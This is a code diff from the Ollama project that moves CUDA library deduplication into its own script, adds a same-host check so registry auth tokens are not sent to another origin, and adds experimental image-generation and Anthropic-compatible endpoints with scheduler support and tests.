-        find "${mlx_dir}" -type f -name "*.so*" | while read mlx_file; do
-            filename=$(basename "${mlx_file}")
-            cuda_file="${cuda_dir}/${filename}"
-
-            # Skip if file doesn't exist in cuda directory
-            [ -f "${cuda_file}" ] || continue
-
-            # Compare checksums
-            mlx_sum=$(sha256sum "${mlx_file}" | awk '{print $1}')
-            cuda_sum=$(sha256sum "${cuda_file}" | awk '{print $1}')
-
-            if [ "${mlx_sum}" = "${cuda_sum}" ]; then
-                echo "    Deduplicating ${filename}"
-                # Calculate relative path from mlx_dir to cuda_dir
-                rel_path="../cuda_${cuda_version}/${filename}"
-                rm -f "${mlx_file}"
-                ln -s "${rel_path}" "${mlx_file}"
-            fi
-        done
-    done
-}
-
 # Run deduplication for each platform output directory
 if echo $PLATFORM | grep "," > /dev/null ; then
-    deduplicate_cuda_libs "./dist/linux_amd64"
-    deduplicate_cuda_libs "./dist/linux_arm64"
+    $(dirname $0)/deduplicate_cuda_libs.sh "./dist/linux_amd64"
+    $(dirname $0)/deduplicate_cuda_libs.sh "./dist/linux_arm64"
 elif echo $PLATFORM | grep "amd64\|arm64" > /dev/null ; then
-    deduplicate_cuda_libs "./dist"
+    $(dirname $0)/deduplicate_cuda_libs.sh "./dist"
 fi
 
 # buildx behavior changes for single vs. multiplatform

scripts/deduplicate_cuda_libs.sh

@@ -0,0 +1,60 @@
+#!/bin/sh
+#
+# Deduplicate CUDA libraries across mlx_* and cuda_* directories
+# This script finds identical .so* files in mlx_cuda_* directories that exist
+# in corresponding cuda_* directories and replaces them with symlinks.
+#
+
+set -eu
+
+if [ $# -eq 0 ]; then
+    echo "ERROR: No directory specified" >&2
+    echo "Usage: $0 <base_directory>" >&2
+    exit 1
+fi
+
+base_dir="$1"
+
+if [ ! -d "${base_dir}" ]; then
+    echo "ERROR: Directory ${base_dir} does not exist" >&2
+    exit 1
+fi
+
+echo "Deduplicating CUDA libraries in ${base_dir}..."
+
+# Find all mlx_cuda_* directories
+for mlx_dir in "${base_dir}"/lib/ollama/mlx_cuda_*; do
+    [ -d "${mlx_dir}" ] || continue
+
+    # Extract CUDA version (e.g., v12, v13)
+    cuda_version=$(basename "${mlx_dir}" | sed 's/mlx_cuda_//')
+    cuda_dir="${base_dir}/lib/ollama/cuda_${cuda_version}"
+
+    # Skip if corresponding cuda_* directory doesn't exist
+    [ -d "${cuda_dir}" ] || continue
+
+    echo "  Checking ${mlx_dir} against ${cuda_dir}..."
+
+    # Find all .so* files in mlx directory
+    find "${mlx_dir}" -type f -name "*.so*" | while read mlx_file; do
+        filename=$(basename "${mlx_file}")
+        cuda_file="${cuda_dir}/${filename}"
+
+        # Skip if file doesn't exist in cuda directory
+        [ -f "${cuda_file}" ] || continue
+
+        # Compare checksums
+        mlx_sum=$(sha256sum "${mlx_file}" | awk '{print $1}')
+        cuda_sum=$(sha256sum "${cuda_file}" | awk '{print $1}')
+
+        if [ "${mlx_sum}" = "${cuda_sum}" ]; then
+            echo "    Deduplicating ${filename}"
+            # Calculate relative path from mlx_dir to cuda_dir
+            rel_path="../cuda_${cuda_version}/${filename}"
+            rm -f "${mlx_file}"
+            ln -s "${rel_path}" "${mlx_file}"
+        fi
+    done
+done
+
+echo "Deduplication complete"

server/auth.go

@@ -50,12 +50,17 @@ func (r registryChallenge) URL() (*url.URL, error) {
 	return redirectURL, nil
 }
 
-func getAuthorizationToken(ctx context.Context, challenge registryChallenge) (string, error) {
+func getAuthorizationToken(ctx context.Context, challenge registryChallenge, originalHost string) (string, error) {
 	redirectURL, err := challenge.URL()
 	if err != nil {
 		return "", err
 	}
 
+	// Validate that the realm host matches the original request host to prevent sending tokens cross-origin.
+	if redirectURL.Host != originalHost {
+		return "", fmt.Errorf("realm host %q does not match original host %q", redirectURL.Host, originalHost)
+	}
+
 	sha256sum := sha256.Sum256(nil)
 	data := []byte(fmt.Sprintf("%s,%s,%s", http.MethodGet, redirectURL.String(), base64.StdEncoding.EncodeToString([]byte(hex.EncodeToString(sha256sum[:])))))
 

server/auth_test.go

@@ -0,0 +1,113 @@
+package server
+
+import (
+	"context"
+	"strings"
+	"testing"
+	"time"
+)
+
+func TestGetAuthorizationTokenRejectsCrossDomain(t *testing.T) {
+	tests := []struct {
+		realm        string
+		originalHost string
+		wantMismatch bool
+	}{
+		{"https://example.com/token", "example.com", false},
+		{"https://example.com/token", "other.com", true},
+		{"https://example.com/token", "localhost:8000", true},
+		{"https://localhost:5000/token", "localhost:5000", false},
+		{"https://localhost:5000/token", "localhost:6000", true},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.originalHost, func(t *testing.T) {
+			ctx, cancel := context.WithTimeout(context.Background(), 100*time.Millisecond)
+			defer cancel()
+
+			challenge := registryChallenge{Realm: tt.realm, Service: "test", Scope: "repo:x:pull"}
+			_, err := getAuthorizationToken(ctx, challenge, tt.originalHost)
+
+			isMismatch := err != nil && strings.Contains(err.Error(), "does not match")
+			if tt.wantMismatch && !isMismatch {
+				t.Errorf("expected domain mismatch error, got: %v", err)
+			}
+			if !tt.wantMismatch && isMismatch {
+				t.Errorf("unexpected domain mismatch error: %v", err)
+			}
+		})
+	}
+}
+
+func TestParseRegistryChallenge(t *testing.T) {
+	tests := []struct {
+		input                             string
+		wantRealm, wantService, wantScope string
+	}{
+		{
+			`Bearer realm="https://auth.example.com/token",service="registry",scope="repo:foo:pull"`,
+			"https://auth.example.com/token", "registry", "repo:foo:pull",
+		},
+		{
+			`Bearer realm="https://r.ollama.ai/v2/token",service="ollama",scope="-"`,
+			"https://r.ollama.ai/v2/token", "ollama", "-",
+		},
+		{"", "", "", ""},
+	}
+
+	for _, tt := range tests {
+		result := parseRegistryChallenge(tt.input)
+		if result.Realm != tt.wantRealm || result.Service != tt.wantService || result.Scope != tt.wantScope {
+			t.Errorf("parseRegistryChallenge(%q) = {%q, %q, %q}, want {%q, %q, %q}",
+				tt.input, result.Realm, result.Service, result.Scope,
+				tt.wantRealm, tt.wantService, tt.wantScope)
+		}
+	}
+}
+
+func TestRegistryChallengeURL(t *testing.T) {
+	challenge := registryChallenge{
+		Realm:   "https://auth.example.com/token",
+		Service: "registry",
+		Scope:   "repo:foo:pull repo:bar:push",
+	}
+
+	u, err := challenge.URL()
+	if err != nil {
+		t.Fatalf("URL() error: %v", err)
+	}
+
+	if u.Host != "auth.example.com" {
+		t.Errorf("host = %q, want %q", u.Host, "auth.example.com")
+	}
+	if u.Path != "/token" {
+		t.Errorf("path = %q, want %q", u.Path, "/token")
+	}
+
+	q := u.Query()
+	if q.Get("service") != "registry" {
+		t.Errorf("service = %q, want %q", q.Get("service"), "registry")
+	}
+	if scopes := q["scope"]; len(scopes) != 2 {
+		t.Errorf("scope count = %d, want 2", len(scopes))
+	}
+	if q.Get("ts") == "" {
+		t.Error("missing ts")
+	}
+	if q.Get("nonce") == "" {
+		t.Error("missing nonce")
+	}
+
+	// Nonces should differ between calls
+	u2, _ := challenge.URL()
+	if q.Get("nonce") == u2.Query().Get("nonce") {
+		t.Error("nonce should be unique per call")
+	}
+}
+
+func TestRegistryChallengeURLInvalid(t *testing.T) {
+	challenge := registryChallenge{Realm: "://invalid"}
+	if _, err := challenge.URL(); err == nil {
+		t.Error("expected error for invalid URL")
+	}
+}

server/images.go

@@ -30,6 +30,7 @@ import (
 	"github.com/ollama/ollama/thinking"
 	"github.com/ollama/ollama/types/model"
 	"github.com/ollama/ollama/version"
+	"github.com/ollama/ollama/x/imagegen/transfer"
 )
 
 var (
@@ -73,6 +74,11 @@ type Model struct {
 func (m *Model) Capabilities() []model.Capability {
 	capabilities := []model.Capability{}
 
+	// Check for image generation model via config capabilities
+	if slices.Contains(m.Config.Capabilities, "image") {
+		return []model.Capability{model.CapabilityImageGeneration}
+	}
+
 	// Check for completion capability
 	if m.ModelPath != "" {
 		f, err := gguf.Open(m.ModelPath)
@@ -555,6 +561,24 @@ func PushModel(ctx context.Context, name string, regOpts *registryOptions, fn fu
 		layers = append(layers, manifest.Config)
 	}
 
+	// Use fast transfer for models with tensor layers (many small blobs)
+	if hasTensorLayers(layers) {
+		// Read raw manifest JSON to preserve tensor metadata fields
+		manifestPath, err := mp.GetManifestPath()
+		if err != nil {
+			return err
+		}
+		manifestJSON, err := os.ReadFile(manifestPath)
+		if err != nil {
+			return err
+		}
+		if err := pushWithTransfer(ctx, mp, layers, manifestJSON, regOpts, fn); err != nil {
+			return err
+		}
+		fn(api.ProgressResponse{Status: "success"})
+		return nil
+	}
+
 	for _, layer := range layers {
 		if err := uploadBlob(ctx, mp, layer, regOpts, fn); err != nil {
 			slog.Info(fmt.Sprintf("error uploading blob: %v", err))
@@ -620,6 +644,15 @@ func PullModel(ctx context.Context, name string, regOpts *registryOptions, fn fu
 		layers = append(layers, manifest.Config)
 	}
 
+	// Use fast transfer for models with tensor layers (many small blobs)
+	if hasTensorLayers(layers) {
+		if err := pullWithTransfer(ctx, mp, layers, manifest, regOpts, fn); err != nil {
+			return err
+		}
+		fn(api.ProgressResponse{Status: "success"})
+		return nil
+	}
+
 	skipVerify := make(map[string]bool)
 	for _, layer := range layers {
 		cacheHit, err := downloadBlob(ctx, downloadOpts{
@@ -634,7 +667,6 @@ func PullModel(ctx context.Context, name string, regOpts *registryOptions, fn fu
 		skipVerify[layer.Digest] = cacheHit
 		delete(deleteMap, layer.Digest)
 	}
-	delete(deleteMap, manifest.Config.Digest)
 
 	fn(api.ProgressResponse{Status: "verifying sha256 digest"})
 	for _, layer := range layers {
@@ -643,13 +675,11 @@ func PullModel(ctx context.Context, name string, regOpts *registryOptions, fn fu
 		}
 		if err := verifyBlob(layer.Digest); err != nil {
 			if errors.Is(err, errDigestMismatch) {
-				// something went wrong, delete the blob
 				fp, err := GetBlobsPath(layer.Digest)
 				if err != nil {
 					return err
 				}
 				if err := os.Remove(fp); err != nil {
-					// log this, but return the original error
 					slog.Info(fmt.Sprintf("couldn't remove file with digest mismatch '%s': %v", fp, err))
 				}
 			}
@@ -657,6 +687,11 @@ func PullModel(ctx context.Context, name string, regOpts *registryOptions, fn fu
 		}
 	}
 
+	for _, layer := range layers {
+		delete(deleteMap, layer.Digest)
+	}
+	delete(deleteMap, manifest.Config.Digest)
+
 	fn(api.ProgressResponse{Status: "writing manifest"})
 
 	manifestJSON, err := json.Marshal(manifest)
@@ -690,6 +725,148 @@ func PullModel(ctx context.Context, name string, regOpts *registryOptions, fn fu
 	return nil
 }
 
+// hasTensorLayers checks if any layer has tensor media type.
+func hasTensorLayers(layers []Layer) bool {
+	for _, layer := range layers {
+		if layer.MediaType == MediaTypeImageTensor {
+			return true
+		}
+	}
+	return false
+}
+
+// pullWithTransfer uses the simplified x/transfer package for downloading blobs.
+func pullWithTransfer(ctx context.Context, mp ModelPath, layers []Layer, manifest *Manifest, regOpts *registryOptions, fn func(api.ProgressResponse)) error {
+	blobs := make([]transfer.Blob, len(layers))
+	for i, layer := range layers {
+		blobs[i] = transfer.Blob{
+			Digest: layer.Digest,
+			Size:   layer.Size,
+		}
+	}
+
+	destDir, err := GetBlobsPath("")
+	if err != nil {
+		return err
+	}
+
+	base := mp.BaseURL()
+	if base.Scheme != "http" && regOpts != nil && regOpts.Insecure {
+		base.Scheme = "http"
+	}
+	baseURL := base.String()
+
+	var totalSize int64
+	for _, blob := range blobs {
+		totalSize += blob.Size
+	}
+
+	progress := func(completed, total int64) {
+		fn(api.ProgressResponse{
+			Status:    "pulling model",
+			Digest:    "sha256:model",
+			Total:     total,
+			Completed: completed,
+		})
+	}
+
+	getToken := func(ctx context.Context, challenge transfer.AuthChallenge) (string, error) {
+		return getAuthorizationToken(ctx, registryChallenge{
+			Realm:   challenge.Realm,
+			Service: challenge.Service,
+			Scope:   challenge.Scope,
+		}, base.Host)
+	}
+
+	if err := transfer.Download(ctx, transfer.DownloadOptions{
+		Blobs:      blobs,
+		BaseURL:    baseURL,
+		DestDir:    destDir,
+		Repository: mp.GetNamespaceRepository(),
+		Progress:   progress,
+		Token:      regOpts.Token,
+		GetToken:   getToken,
+		Logger:     slog.Default(),
+	}); err != nil {
+		return err
+	}
+
+	// Write manifest
+	fn(api.ProgressResponse{Status: "writing manifest"})
+	manifestJSON, err := json.Marshal(manifest)
+	if err != nil {
+		return err
+	}
+
+	fp, err := mp.GetManifestPath()
+	if err != nil {
+		return err
+	}
+	if err := os.MkdirAll(filepath.Dir(fp), 0o755); err != nil {
+		return err
+	}
+
+	return os.WriteFile(fp, manifestJSON, 0o644)
+}
+
+// pushWithTransfer uses the simplified x/transfer package for uploading blobs and manifest.
+func pushWithTransfer(ctx context.Context, mp ModelPath, layers []Layer, manifestJSON []byte, regOpts *registryOptions, fn func(api.ProgressResponse)) error {
+	blobs := make([]transfer.Blob, len(layers))
+	for i, layer := range layers {
+		blobs[i] = transfer.Blob{
+			Digest: layer.Digest,
+			Size:   layer.Size,
+			From:   layer.From,
+		}
+	}
+
+	srcDir, err := GetBlobsPath("")
+	if err != nil {
+		return err
+	}
+
+	base := mp.BaseURL()
+	if base.Scheme != "http" && regOpts != nil && regOpts.Insecure {
+		base.Scheme = "http"
+	}
+	baseURL := base.String()
+
+	var totalSize int64
+	for _, blob := range blobs {
+		totalSize += blob.Size
+	}
+
+	progress := func(completed, total int64) {
+		fn(api.ProgressResponse{
+			Status:    "pushing model",
+			Digest:    "sha256:model",
+			Total:     total,
+			Completed: completed,
+		})
+	}
+
+	getToken := func(ctx context.Context, challenge transfer.AuthChallenge) (string, error) {
+		return getAuthorizationToken(ctx, registryChallenge{
+			Realm:   challenge.Realm,
+			Service: challenge.Service,
+			Scope:   challenge.Scope,
+		}, base.Host)
+	}
+
+	return transfer.Upload(ctx, transfer.UploadOptions{
+		Blobs:       blobs,
+		BaseURL:     baseURL,
+		SrcDir:      srcDir,
+		Progress:    progress,
+		Token:       regOpts.Token,
+		GetToken:    getToken,
+		Logger:      slog.Default(),
+		Manifest:    manifestJSON,
+		ManifestRef: mp.Tag,
+		Repository:  mp.GetNamespaceRepository(),
+	})
+}
+
 func pullModelManifest(ctx context.Context, mp ModelPath, regOpts *registryOptions) (*Manifest, error) {
 	requestURL := mp.BaseURL().JoinPath("v2", mp.GetNamespaceRepository(), "manifests", mp.Tag)
 
@@ -739,7 +916,7 @@ func makeRequestWithRetry(ctx context.Context, method string, requestURL *url.UR
 
 			// Handle authentication error with one retry
 			challenge := parseRegistryChallenge(resp.Header.Get("www-authenticate"))
-			token, err := getAuthorizationToken(ctx, challenge)
+			token, err := getAuthorizationToken(ctx, challenge, requestURL.Host)
 			if err != nil {
 				return nil, err
 			}

server/images_test.go

@@ -47,6 +47,15 @@ func TestModelCapabilities(t *testing.T) {
 		model        Model
 		expectedCaps []model.Capability
 	}{
+		{
+			name: "model with image generation capability via config",
+			model: Model{
+				Config: model.ConfigV2{
+					Capabilities: []string{"image"},
+				},
+			},
+			expectedCaps: []model.Capability{model.CapabilityImageGeneration},
+		},
 		{
 			name: "model with completion capability",
 			model: Model{

server/layer.go

@@ -13,9 +13,14 @@ type Layer struct {
 	Digest    string `json:"digest"`
 	Size      int64  `json:"size"`
 	From      string `json:"from,omitempty"`
+	Name      string `json:"name,omitempty"` // tensor name, e.g., "text_encoder/model.embed_tokens.weight"
 	status    string
 }
 
+const (
+	MediaTypeImageTensor = "application/vnd.ollama.image.tensor"
+)
+
 func NewLayer(r io.Reader, mediatype string) (Layer, error) {
 	blobs, err := GetBlobsPath("")
 	if err != nil {

server/manifest.go

@@ -47,16 +47,40 @@ func (m *Manifest) Remove() error {
 }
 
 func (m *Manifest) RemoveLayers() error {
-	for _, layer := range append(m.Layers, m.Config) {
-		if layer.Digest != "" {
-			if err := layer.Remove(); errors.Is(err, os.ErrNotExist) {
-				slog.Debug("layer does not exist", "digest", layer.Digest)
-			} else if err != nil {
-				return err
+	ms, err := Manifests(true)
+	if err != nil {
+		return err
+	}
+
+	// Build set of digests still in use by other manifests
+	inUse := make(map[string]struct{})
+	for _, other := range ms {
+		for _, layer := range append(other.Layers, other.Config) {
+			if layer.Digest != "" {
+				inUse[layer.Digest] = struct{}{}
 			}
 		}
 	}
 
+	// Remove layers not used by any other manifest
+	for _, layer := range append(m.Layers, m.Config) {
+		if layer.Digest == "" {
+			continue
+		}
+		if _, used := inUse[layer.Digest]; used {
+			continue
+		}
+		blob, err := GetBlobsPath(layer.Digest)
+		if err != nil {
+			return err
+		}
+		if err := os.Remove(blob); errors.Is(err, os.ErrNotExist) {
+			slog.Debug("layer does not exist", "digest", layer.Digest)
+		} else if err != nil {
+			return err
+		}
+	}
+
 	return nil
 }
 

server/routes.go

@@ -50,6 +50,8 @@ import (
 	"github.com/ollama/ollama/types/errtypes"
 	"github.com/ollama/ollama/types/model"
 	"github.com/ollama/ollama/version"
+	"github.com/ollama/ollama/x/imagegen"
+	xserver "github.com/ollama/ollama/x/server"
 )
 
 const signinURLStr = "https://ollama.com/connect?name=%s&key=%s"
@@ -1093,6 +1095,31 @@ func GetModelInfo(req api.ShowRequest) (*api.ShowResponse, error) {
 		QuantizationLevel: m.Config.FileType,
 	}
 
+	// For image generation models, populate details from imagegen package
+	if slices.Contains(m.Capabilities(), model.CapabilityImageGeneration) {
+		if info, err := imagegen.GetModelInfo(name.String()); err == nil {
+			modelDetails.Family = info.Architecture
+			modelDetails.ParameterSize = format.HumanNumber(uint64(info.ParameterCount))
+			modelDetails.QuantizationLevel = info.Quantization
+		}
+	}
+
+	// For safetensors LLM models (experimental), populate details from config.json
+	if m.Config.ModelFormat == "safetensors" && slices.Contains(m.Config.Capabilities, "completion") {
+		if info, err := xserver.GetSafetensorsLLMInfo(name.String()); err == nil {
+			if arch, ok := info["general.architecture"].(string); ok && arch != "" {
+				modelDetails.Family = arch
+			}
+			if paramCount, ok := info["general.parameter_count"].(int64); ok && paramCount > 0 {
+				modelDetails.ParameterSize = format.HumanNumber(uint64(paramCount))
+			}
+		}
+		// Get torch_dtype directly from config.json for quantization level
+		if dtype, err := xserver.GetSafetensorsDtype(name.String()); err == nil && dtype != "" {
+			modelDetails.QuantizationLevel = dtype
+		}
+	}
+
 	if req.System != "" {
 		m.System = req.System
 	}
@@ -1175,6 +1202,30 @@ func GetModelInfo(req api.ShowRequest) (*api.ShowResponse, error) {
 		return resp, nil
 	}
 
+	if slices.Contains(m.Capabilities(), model.CapabilityImageGeneration) {
+		// Populate tensor info if verbose
+		if req.Verbose {
+			if tensors, err := xserver.GetSafetensorsTensorInfo(name.String()); err == nil {
+				resp.Tensors = tensors
+			}
+		}
+		return resp, nil
+	}
+
+	// For safetensors LLM models (experimental), populate ModelInfo from config.json
+	if m.Config.ModelFormat == "safetensors" && slices.Contains(m.Config.Capabilities, "completion") {
+		if info, err := xserver.GetSafetensorsLLMInfo(name.String()); err == nil {
+			resp.ModelInfo = info
+		}
+		// Populate tensor info if verbose
+		if req.Verbose {
+			if tensors, err := xserver.GetSafetensorsTensorInfo(name.String()); err == nil {
+				resp.Tensors = tensors
+			}
+		}
+		return resp, nil
+	}
+
 	kvData, tensors, err := getModelData(m.ModelPath, req.Verbose)
 	if err != nil {
 		return nil, err
@@ -1536,6 +1587,9 @@ func (s *Server) GenerateRoutes(rc *ollama.Registry) (http.Handler, error) {
 	r.POST("/api/embed", s.EmbedHandler)
 	r.POST("/api/embeddings", s.EmbeddingsHandler)
 
+	// Experimental image generation
+	r.POST("/x/generate", s.XGenerateHandler)
+
 	// Inference (OpenAI compatibility)
 	r.POST("/v1/chat/completions", middleware.ChatMiddleware(), s.ChatHandler)
 	r.POST("/v1/completions", middleware.CompletionsMiddleware(), s.GenerateHandler)
@@ -1543,6 +1597,11 @@ func (s *Server) GenerateRoutes(rc *ollama.Registry) (http.Handler, error) {
 	r.GET("/v1/models", middleware.ListMiddleware(), s.ListHandler)
 	r.GET("/v1/models/:model", middleware.RetrieveMiddleware(), s.ShowHandler)
 	r.POST("/v1/responses", middleware.ResponsesMiddleware(), s.ChatHandler)
+	// OpenAI-compatible image generation endpoint (uses experimental /x/generate)
+	r.POST("/v1/images/generations", middleware.ImageGenerationsMiddleware(), s.XGenerateHandler)
+
+	// Inference (Anthropic compatibility)
+	r.POST("/v1/messages", middleware.AnthropicMessagesMiddleware(), s.ChatHandler)
 
 	if rc != nil {
 		// wrap old with new
@@ -1852,6 +1911,105 @@ func (s *Server) PsHandler(c *gin.Context) {
 	c.JSON(http.StatusOK, api.ProcessResponse{Models: models})
 }
 
+// XGenerateHandler handles the experimental /x/generate endpoint for image generation.
+func (s *Server) XGenerateHandler(c *gin.Context) {
+	checkpointStart := time.Now()
+
+	var req api.GenerateRequest
+	if err := c.ShouldBindJSON(&req); errors.Is(err, io.EOF) {
+		c.AbortWithStatusJSON(http.StatusBadRequest, gin.H{"error": "missing request body"})
+		return
+	} else if err != nil {
+		c.AbortWithStatusJSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	name := model.ParseName(req.Model)
+	if !name.IsValid() {
+		c.AbortWithStatusJSON(http.StatusBadRequest, gin.H{"error": "model is required"})
+		return
+	}
+
+	name, err := getExistingName(name)
+	if err != nil {
+		c.JSON(http.StatusNotFound, gin.H{"error": fmt.Sprintf("model '%s' not found", req.Model)})
+		return
+	}
+
+	m, err := GetModel(name.String())
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	// Check that this is an image generation model
+	if !slices.Contains(m.Capabilities(), model.CapabilityImageGeneration) {
+		c.JSON(http.StatusBadRequest, gin.H{"error": fmt.Sprintf("%q does not support image generation", req.Model)})
+		return
+	}
+
+	// Schedule the runner
+	r, _, _, err := s.scheduleRunner(c.Request.Context(), name.String(), []model.Capability{model.CapabilityImageGeneration}, req.Options, req.KeepAlive)
+	if err != nil {
+		handleScheduleError(c, req.Model, err)
+		return
+	}
+
+	checkpointLoaded := time.Now()
+
+	// Handle load-only request
+	if req.Prompt == "" {
+		c.JSON(http.StatusOK, api.GenerateResponse{
+			Model:      req.Model,
+			CreatedAt:  time.Now().UTC(),
+			Done:       true,
+			DoneReason: "load",
+		})
+		return
+	}
+
+	ch := make(chan any)
+	go func() {
+		defer close(ch)
+		if err := r.Completion(c.Request.Context(), llm.CompletionRequest{
+			Prompt: req.Prompt,
+			Width:  req.Width,
+			Height: req.Height,
+			Steps:  req.Steps,
+		}, func(cr llm.CompletionResponse) {
+			res := api.GenerateResponse{
+				Model:     req.Model,
+				CreatedAt: time.Now().UTC(),
+				Done:      cr.Done,
+			}
+
+			// Image generation progress
+			if cr.TotalSteps > 0 {
+				res.Status = "generating image"
+				res.Completed = int64(cr.Step)
+				res.Total = int64(cr.TotalSteps)
+			}
+
+			// Final image
+			if cr.Image != "" {
+				res.Images = []string{cr.Image}
+			}
+
+			if cr.Done {
+				res.DoneReason = cr.DoneReason.String()
+				res.TotalDuration = time.Since(checkpointStart)
+				res.LoadDuration = checkpointLoaded.Sub(checkpointStart)
+			}
+
+			ch <- res
+		}); err != nil {
+			ch <- gin.H{"error": err.Error()}
+		}
+	}()
+
+	streamResponse(c, ch)
+}
+
 func toolCallId() string {
 	const letterBytes = "abcdefghijklmnopqrstuvwxyz0123456789"
 	b := make([]byte, 8)
@@ -2022,8 +2180,14 @@ func (s *Server) ChatHandler(c *gin.Context) {
 		}
 	} else {
 		if req.Think != nil && req.Think.Bool() {
-			c.JSON(http.StatusBadRequest, gin.H{"error": fmt.Sprintf("%q does not support thinking", req.Model)})
-			return
+			// Set think to nil when being used with Anthropic API to connect to tools like claude code
+			if _, ok := c.Get("relax_thinking"); ok {
+				slog.Warn("model does not support thinking, relaxing thinking to nil", "model", req.Model)
+				req.Think = nil
+			} else {
+				c.JSON(http.StatusBadRequest, gin.H{"error": fmt.Sprintf("%q does not support thinking", req.Model)})
+				return
+			}
 		}
 	}
 

server/sched.go

@@ -21,6 +21,7 @@ import (
 	"github.com/ollama/ollama/logutil"
 	"github.com/ollama/ollama/ml"
 	"github.com/ollama/ollama/types/model"
+	"github.com/ollama/ollama/x/imagegen"
 )
 
 type LlmRequest struct {
@@ -194,6 +195,14 @@ func (s *Scheduler) processPending(ctx context.Context) {
 						slog.Debug("updating default concurrency", "OLLAMA_MAX_LOADED_MODELS", maxRunners, "gpu_count", len(gpus))
 					}
 
+					// Check for image generation model before attempting GGML load
+					if slices.Contains(pending.model.Config.Capabilities, "image") {
+						if s.loadImageGen(pending) {
+							break
+						}
+						continue
+					}
+
 					// Load model for fitting
 					logutil.Trace("loading model metadata", "model", pending.model.ModelPath)
 					ggml, err := llm.LoadModel(pending.model.ModelPath, 1024)
@@ -543,6 +552,48 @@ iGPUScan:
 	return false
 }
 
+// loadImageGen loads an image generation model.
+func (s *Scheduler) loadImageGen(req *LlmRequest) bool {
+	// Use model name for imagegen (it resolves manifests by name, not file path)
+	modelName := req.model.ShortName
+	server, err := imagegen.NewServer(modelName)
+	if err != nil {
+		req.errCh <- err
+		return true
+	}
+
+	sessionDuration := envconfig.KeepAlive()
+	if req.sessionDuration != nil {
+		sessionDuration = req.sessionDuration.Duration
+	}
+
+	runner := &runnerRef{
+		model:           req.model,
+		modelPath:       req.model.ModelPath,
+		llama:           server,
+		Options:         &req.opts,
+		loading:         false,
+		sessionDuration: sessionDuration,
+		refCount:        1,
+	}
+
+	s.loadedMu.Lock()
+	s.loaded[req.model.ModelPath] = runner
+	s.loadedMu.Unlock()
+
+	// Set up expiration timer
+	runner.refMu.Lock()
+	if sessionDuration > 0 {
+		runner.expireTimer = time.AfterFunc(sessionDuration, func() {
+			s.expiredCh <- runner
+		})
+	}
+	runner.refMu.Unlock()
+
+	req.useLoadedRunner(runner, s.finishedReqCh)
+	return true
+}
+
 func (s *Scheduler) updateFreeSpace(allGpus []ml.DeviceInfo) {
 	if len(allGpus) == 0 {
 		return

server/sched_test.go

@@ -804,3 +804,93 @@ func (s *mockLlm) GetPort() int                                       { return -
 func (s *mockLlm) GetDeviceInfos(ctx context.Context) []ml.DeviceInfo { return nil }
 func (s *mockLlm) HasExited() bool                                    { return false }
 func (s *mockLlm) GetActiveDeviceIDs() []ml.DeviceID                  { return nil }
+
+// TestImageGenRunnerCanBeEvicted verifies that an image generation model
+// loaded in the scheduler can be evicted when idle.
+func TestImageGenRunnerCanBeEvicted(t *testing.T) {
+	ctx, done := context.WithTimeout(t.Context(), 500*time.Millisecond)
+	defer done()
+
+	s := InitScheduler(ctx)
+	s.getGpuFn = getGpuFn
+	s.getSystemInfoFn = getSystemInfoFn
+
+	// Simulate an image gen runner already loaded
+	imageGenRunner := &runnerRef{
+		model:           &Model{Name: "z-image", ModelPath: "/fake/image/model"},
+		modelPath:       "/fake/image/model",
+		llama:           &mockLlm{vramSize: 21 * format.GigaByte, vramByGPU: map[ml.DeviceID]uint64{}},
+		sessionDuration: 5 * time.Millisecond,
+		refCount:        0, // idle
+	}
+
+	s.loadedMu.Lock()
+	s.loaded["/fake/image/model"] = imageGenRunner
+	s.loadedMu.Unlock()
+
+	// Verify the image gen runner is loaded
+	s.loadedMu.Lock()
+	require.Len(t, s.loaded, 1)
+	s.loadedMu.Unlock()
+
+	// findRunnerToUnload should find the idle image gen runner
+	runner := s.findRunnerToUnload()
+	require.NotNil(t, runner)
+	require.Equal(t, "/fake/image/model", runner.modelPath)
+}
+
+// TestImageGenSchedulerCoexistence verifies that image generation models
+// can coexist with language models in the scheduler and VRAM is tracked correctly.
+func TestImageGenSchedulerCoexistence(t *testing.T) {
+	ctx, done := context.WithTimeout(t.Context(), 500*time.Millisecond)
+	defer done()
+
+	s := InitScheduler(ctx)
+	s.getGpuFn = getGpuFn
+	s.getSystemInfoFn = getSystemInfoFn
+
+	// Load both an imagegen runner and a language model runner
+	imageGenRunner := &runnerRef{
+		model:           &Model{Name: "flux", ModelPath: "/fake/flux/model"},
+		modelPath:       "/fake/flux/model",
+		llama:           &mockLlm{vramSize: 8 * format.GigaByte, vramByGPU: map[ml.DeviceID]uint64{{Library: "Metal"}: 8 * format.GigaByte}},
+		sessionDuration: 10 * time.Millisecond,
+		numParallel:     1,
+		refCount:        0,
+	}
+
+	langModelRunner := &runnerRef{
+		model:           &Model{Name: "llama3", ModelPath: "/fake/llama3/model"},
+		modelPath:       "/fake/llama3/model",
+		llama:           &mockLlm{vramSize: 4 * format.GigaByte, vramByGPU: map[ml.DeviceID]uint64{{Library: "Metal"}: 4 * format.GigaByte}},
+		sessionDuration: 10 * time.Millisecond,
+		numParallel:     1,
+		refCount:        0,
+	}
+
+	s.loadedMu.Lock()
+	s.loaded["/fake/flux/model"] = imageGenRunner
+	s.loaded["/fake/llama3/model"] = langModelRunner
+	s.loadedMu.Unlock()
+
+	// Verify both are loaded
+	s.loadedMu.Lock()
+	require.Len(t, s.loaded, 2)
+	require.NotNil(t, s.loaded["/fake/flux/model"])
+	require.NotNil(t, s.loaded["/fake/llama3/model"])
+	s.loadedMu.Unlock()
+
+	// Verify updateFreeSpace accounts for both
+	gpus := []ml.DeviceInfo{
+		{
+			DeviceID:    ml.DeviceID{Library: "Metal"},
+			TotalMemory: 24 * format.GigaByte,
+			FreeMemory:  24 * format.GigaByte,
+		},
+	}
+	s.updateFreeSpace(gpus)
+
+	// Free memory should be reduced by both models
+	expectedFree := uint64(24*format.GigaByte) - uint64(8*format.GigaByte) - uint64(4*format.GigaByte)
+	require.Equal(t, expectedFree, gpus[0].FreeMemory)
+}

server/upload.go

@@ -279,7 +279,7 @@ func (b *blobUpload) uploadPart(ctx context.Context, method string, requestURL *
 	case resp.StatusCode == http.StatusUnauthorized:
 		w.Rollback()
 		challenge := parseRegistryChallenge(resp.Header.Get("www-authenticate"))
-		token, err := getAuthorizationToken(ctx, challenge)
+		token, err := getAuthorizationToken(ctx, challenge, requestURL.Host)
 		if err != nil {
 			return err
